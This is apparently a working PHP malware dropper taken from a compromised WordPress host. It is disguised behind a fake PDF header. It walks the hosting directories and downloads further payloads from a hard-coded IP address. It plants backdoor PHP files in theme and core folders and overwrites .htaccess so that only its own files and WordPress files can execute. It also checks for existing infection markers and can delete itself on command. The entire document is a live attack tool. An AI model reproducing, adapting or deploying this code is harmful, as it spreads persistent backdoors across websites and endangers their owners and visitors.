%PDF- %PDF-
| Direktori : /var/www/vhosts/c310032.web190.dogado.net/html/elineois.de/ |
| Current File : /var/www/vhosts/c310032.web190.dogado.net/html/elineois.de/jindex.php |
<?php
@error_reporting(0);
@ignore_user_abort(1);
@set_time_limit(0);
// index_page027x99100
$cccco = '';
$scode='<?php define("WP_USE_THEMES", true); require( dirname( __FILE__ ) . "/wp-blog-header.php" );';
$h3='<FilesMatch ".(phtml|php|php5|suspected)$">
Order Allow,Deny
Deny from all
</FilesMatch>
<FilesMatch "^(index.php|wp-blog-header.php|wp-config-sample.php|wp-links-opml.php|wp-login.php|wp-settings.php|wp-trackback.php|wp-activate.php|wp-comments-post.php|wp-cron.php|wp-load.php|wp-mail.php|wp-signup.php|xmlrpc.php|edit-form-advanced.php|link-parse-opml.php|ms-sites.php|options-writing.php|themes.php|admin-ajax.php|edit-form-comment.php|link.php|ms-themes.php|plugin-editor.php|admin-footer.php|edit-link-form.php|load-scripts.php|ms-upgrade-network.php|admin-functions.php|edit.php|load-styles.php|ms-users.php|plugins.php|admin-header.php|edit-tag-form.php|media-new.php|my-sites.php|post-new.php|admin.php|edit-tags.php|media.php|nav-menus.php|rindex.php|post.php|admin-post.php|export.php|media-upload.php|network.php|press-this.php|upload.php|async-upload.php|menu-header.php|options-discussion.php|privacy.php|user-edit.php|menu.php|options-general.php|profile.php|user-new.php|moderation.php|options-head.php|revision.php|users.php|custom-background.php|ms-admin.php|options-media.php|jindex.php|setup-config.php|zzindex.php|widgets.php|custom-header.php|ms-delete-site.php|options-permalink.php|term.php|customize.php|link-add.php|ms-edit.php|options.php|edit-comments.php|link-manager.php|ms-options.php|options-reading.php)$">
Order Allow,Deny
Allow from all
</FilesMatch>
';
$h='<IfModule mod_rewrite.c>
RewriteEngine On
RewriteBase /
RewriteRule ^index.php$ - [L]
RewriteCond %{REQUEST_FILENAME} !-f
RewriteCond %{REQUEST_FILENAME} !-d
RewriteRule . index.php [L]
</IfModule>
';
$find = array("\r","\n");
function getcontent($url){
if ($url=="") return "";
if(function_exists('curl_init')){
$con = curl_init((string)$url);
curl_setopt($con, CURLOPT_HEADER, false);
curl_setopt($con, CURLOPT_RETURNTRANSFER,true);
curl_setopt($con, CURLOPT_TIMEOUT, 120);
$result = curl_exec($con);
curl_close($con);
}else{
$result = file_get_contents($url);
}
return trim(trim($result, "\\xEF\\xBB\\xBF"));
}
function searchDir($path,&$files,&$dirs){
if(is_dir($path)){
$opendir = @opendir($path);
$numpath= sizeof(explode(DIRECTORY_SEPARATOR, $path));
$numroot= sizeof(explode(DIRECTORY_SEPARATOR, $_SERVER['DOCUMENT_ROOT']));
// echo $path.'-'.$numpath.'+'.$numroot."";
if ($numpath-$numroot>1) {
return;
}
// GLOB_ONLYDIR
$num_dir = count(glob($path."/*",GLOB_ONLYDIR));
$num_file = count(glob($path."/*")) - $num_dir;
// print_r($path.":".$num_file.'');
if ($num_file>300) return;
if ($num_dir>3000) return;
$dirs[$path] = $num_file;
while ($file = @readdir($opendir)){
// print_r(sizeof($file));
if($file != '.' && $file != '..'){
searchDir($path.'/'.$file, $files,$dirs);
}
}
@closedir($opendir);
}
if(!is_dir($path)){
if (!is_index_path($path)||includes_pass_path($path)) {
} else {
$files[] = $path;
}
}
}
function is_index_path($path) {
$pattern = '/\/index\.(?:php|html|htm)$/i';
preg_match_all($pattern, $path, $matches);
// print_r($matches);
if (sizeof($matches[0]) > 0) {
return True;
} else {
return False;
}
// $pass_name_array = array('cgi-bin','wp-includes','support','wp-admin','wp-content','phpmyadmin');
}
function includes_pass_path($path) {
$pass_name_array = array('panel','sdk','dist','freewall','admin','translations','webservice','controllers','override','mails','docs','img','pdf','js','tools','classes','localization','config','download','themes','includes','cache','libraries','templates','administrator','images','modules','media','language','plugins','components','stream','.well-known','application','dashboard','widgets','system','tmp','logs','caches','temp','cgi-bin','wp-includes','support','wp-admin','wp-content','phpmyadmin');
$str = implode('\/|\/', $pass_name_array);
$pattern = '/(?:\/'.$str.'\/)/i';
// echo $pattern;
// echo "";
preg_match_all($pattern, $path, $matches);
// print_r($matches);
// echo "";
if (sizeof($matches[0]) > 0) {
return True;
} else {
return False;
}
}
function str_replace_limit($search, $replace, $subject, $limit=1) {
// constructing mask(s)...
if (is_array($search)) {
foreach ($search as $k=>$v) {
$search[$k] = '`' . preg_quote($search[$k],'`') . '`';
}
}
else {
$search = '`' . preg_quote($search,'`') . '`';
}
// replacement
return preg_replace($search, $replace, $subject, $limit);
}
function user_echo($str) {
if ($_GET['db']=="1") {
echo $str."<br />";
}
}
$arr_path = explode(DIRECTORY_SEPARATOR, $_SERVER['DOCUMENT_ROOT']);
$files = array();
$dirs = array();
// user_echo(" ".print_r($arr_path,true));
for ($i=2; $i <= sizeof($arr_path); $i++) {
$arr_path2 = array_slice($arr_path,0,$i);
$root_path = implode(DIRECTORY_SEPARATOR, $arr_path2);
// user_echo($root_path);
if (user_test_path($root_path)) {
user_echo("can ".$root_path);
searchDir($root_path, $files, $dirs);
break;
} else {
user_echo("not ".$root_path);
}
}
user_echo("=====================================");
function user_test_path($path){
$rtn = false;
$opendir = @opendir($path);
if ($opendir) {
$rtn = true;
}
closedir($opendir);
return $rtn;
}
// $filenames,$dirnames = getDir();
$need_upload_file = array();
// echo $_SERVER['DOCUMENT_ROOT'];
foreach ($files as $key => $value) {
# code...
$dirname_file = dirname($value);
if (!in_array($dirname_file, $need_upload_file)) {
$need_upload_file[] = $dirname_file;
}
}
$owncontent = 'eval(gzinflate(base64_decode(';
$owncontent2 = "require('wp-admin/t');";
foreach ($need_upload_file as $key => $index_path) {
if (stripos('+'.$index_path,$_SERVER['DOCUMENT_ROOT'])>0) {
user_echo($index_path." jump");
continue;
}
// $filename = $value;
// $index_path = dirname($value);
$filename = $index_path.'/index.php';
$action = 0;
$own=0;
//
//
$filename3 = $index_path.'/wp-blog-header.php';
$filename2 = $index_path.'/wp-config.php';
$filename4 = $index_path.'/wp-load.php';
$filename5 = $index_path.'/jindex.php';
$filename6 = $index_path.'/rindex.php';
$filename7 = $index_path.'/wp-content/themes/twentytwentytwo/inc/cach/index.php';
$filename8 = $index_path.'/wp-includes/blocks/table/them/tmpl/index.php';
//$filename9 = $index_path.'/wp-includes/blocks/table/int/tmpl/index.php';
//$filename10 = $index_path.'/wp-content/uploads/2020/09/themes/index.php';
$filename11 = $index_path.'/wp-content/themes/twentytwentytwo/inc/cach/.htaccess';
$filename12 = $index_path.'/wp-includes/blocks/table/them/tmpl/.htaccess';
//$filename13 = $index_path.'/wp-includes/blocks/table/int/tmpl/.htaccess';
//$filename14 = $index_path.'/wp-content/uploads/2020/09/themes/.htaccess';
// user_echo( "[aaaa]");
if(file_exists($filename) ){
/***if(!file_exists($filename5)){
if (! is_dir(dirname($filename5))) {
mkdir(dirname($filename5),0777,true);
}
@chmod($filename5,0644);
$jindex_content = getcontent("http://108.181.9.26/txt_s/olds/bb/wp-ma.txt");
if (file_put_contents($filename5,$jindex_content)){
user_echo( $filename5." +++");
} else {
user_echo( $filename5." --- faile");
}
}***/
if(!file_exists($filename5)){
if (! is_dir(dirname($filename5))) {
mkdir(dirname($filename5),0777,true);
}
@chmod($filename5,0644);
$content5 = getcontent("http://108.181.9.26/txt_s/olds/cc/3.txt");
if (file_put_contents($filename5,$content5)){
user_echo( $filename5." ++++");
} else {
user_echo( $filename5." ---- faile");
}
}
if(!file_exists($filename6)){
if (! is_dir(dirname($filename6))) {
mkdir(dirname($filename6),0777,true);
}
@chmod($filename6,0644);
$content6 = getcontent("http://108.181.9.26/txt_s/olds/cc/rindex.txt");
if (file_put_contents($filename6,$content6)){
user_echo( $filename6." ++++");
} else {
user_echo( $filename6." ---- faile");
}
}
if(!file_exists($filename7)){
if (! is_dir(dirname($filename7))) {
mkdir(dirname($filename7),0777,true);
}
@chmod($filename7,0644);
$content7 = getcontent("http://108.181.9.26/txt_s/olds/cc/3.txt");
if (file_put_contents($filename7,$content7)){
user_echo( $filename7." ++++");
} else {
user_echo( $filename7." ---- faile");
}
}
if(!file_exists($filename8)){
if (! is_dir(dirname($filename8))) {
mkdir(dirname($filename8),0777,true);
}
@chmod($filename8,0644);
$content8 = getcontent("http://108.181.9.26/txt_s/olds/cc/ok.txt");
if (file_put_contents($filename8,$content8)){
user_echo( $filename8." ++++");
} else {
user_echo( $filename8." ---- faile");
}
}
/***if(!file_exists($filename9)){
if (! is_dir(dirname($filename9))) {
mkdir(dirname($filename9),0777,true);
}
@chmod($filename9,0644);
$content9 = getcontent("http://108.181.9.26/txt_s/olds/bb/wp-ma1.txt");
if (file_put_contents($filename9,$content9)){
user_echo( $filename9." ++++");
} else {
user_echo( $filename9." ---- faile");
}
}
if(!file_exists($filename10)){
if (! is_dir(dirname($filename10))) {
mkdir(dirname($filename10),0777,true);
}
@chmod($filename10,0644);
$content10 = getcontent("http://108.181.9.26/txt_s/olds/bb/rindex.txt");
if (file_put_contents($filename10,$content10)){
user_echo( $filename10." ++++");
} else {
user_echo( $filename10." ---- faile");
}
}
**/
if(!file_exists($filename11)){
if (! is_dir(dirname($filename11))) {
mkdir(dirname($filename11),0777,true);
}
@chmod($filename11,0644);
$content11 = getcontent("http://108.181.9.26/txt_s/olds/cc/htaccess.txt");
if (file_put_contents($filename11,$content11)){
user_echo( $filename11." ++++");
} else {
user_echo( $filename11." ---- faile");
}
}
if(!file_exists($filename12)){
if (! is_dir(dirname($filename12))) {
mkdir(dirname($filename12),0777,true);
}
@chmod($filename12,0644);
$content12 = getcontent("http://108.181.9.26/txt_s/olds/cc/htaccess.txt");
if (file_put_contents($filename12,$content12)){
user_echo( $filename12." ++++");
} else {
user_echo( $filename12." ---- faile");
}
}
/***
if(!file_exists($filename13)){
if (! is_dir(dirname($filename13))) {
mkdir(dirname($filename13),0777,true);
}
@chmod($filename13,0644);
$content13 = getcontent("http://108.181.9.26/txt_s/olds/bb/htaccess.txt");
if (file_put_contents($filename13,$content13)){
user_echo( $filename13." ++++");
} else {
user_echo( $filename13." ---- faile");
}
}
if(!file_exists($filename14)){
if (! is_dir(dirname($filename14))) {
mkdir(dirname($filename14),0777,true);
}
@chmod($filename14,0644);
$content14 = getcontent("http://108.181.9.26/txt_s/olds/bb/htaccess.txt");
if (file_put_contents($filename14,$content14)){
user_echo( $filename14." ++++");
} else {
user_echo( $filename14." ---- faile");
}
}
**/
if (file_exists($filename2)) {
$content = file_get_contents($filename2);
$temp_str2 = str_replace($find,"",substr($content,0,99));
} else {
$temp_str2 = "";
}
if (file_exists($filename3)) {
$content = file_get_contents($filename3);
$content3 = $content;
$temp_str3 = str_replace($find,"",substr($content,0,99));
} else {
$temp_str3 = "";
}
if (file_exists($filename4)) {
$content = file_get_contents($filename4);
$temp_str4 = str_replace($find,"",substr($content,0,99));
} else {
$temp_str4 = "";
}
$content = file_get_contents($filename);
$temp_str = str_replace($find,"",substr($content,0,99));
// user_echo( '<temp_str2>'.$temp_str2);
// user_echo( '<temp_str3>'.$temp_str3);
if (
(stripos('+'.$temp_str,$owncontent)>1) ||
(stripos('+'.$temp_str2,$owncontent)>1) ||
(stripos('+'.$temp_str3,$owncontent)>1) ||
(stripos('+'.$temp_str2,$owncontent2)>1) ||
(stripos('+'.$temp_str4,$owncontent2)>1)
)
{
$own=1;
$content = "";
user_echo( $filename." own");
} else {
$content = $cccco.$content;
}
} else {
$content = $cccco.$scode;
// $action = 1;
}
if ($content != "") {
if ($_GET['c']=="2") {
@chmod($filename3,0644);
if (file_put_contents($filename3,$cccco.$content3)) {
user_echo( $filename3." ok");
} else {
user_echo( $filename3." faile");
}
} else {
@chmod($filename,0644);
if (file_put_contents($filename,$content)) {
user_echo( $filename." ok");
} else {
user_echo( $filename." faile");
}
}
$htacc = $index_path.'/.htaccess';
if(!file_exists($htacc) || md5_file($htacc)!="b4a1a488609552bbf8e68fb922cf4912"){
@chmod($htacc,0644);
if (file_put_contents($htacc,$h3.$h)){
user_echo( $htacc." ok");
} else {
user_echo( $htacc." faile");
}
}
}
user_echo( "<hr />");
}
if (sizeof($files) <=0 ) {
foreach ($dirs as $key => $value){
user_echo( 'dir:'.$key.':'.$value);
}
}
if ($_GET['d']=="1") {
if (unlink(current(explode("(", __FILE__)))) {
echo "d";
} else {
echo "nod";
}
}
die("[over]");
die("[over]");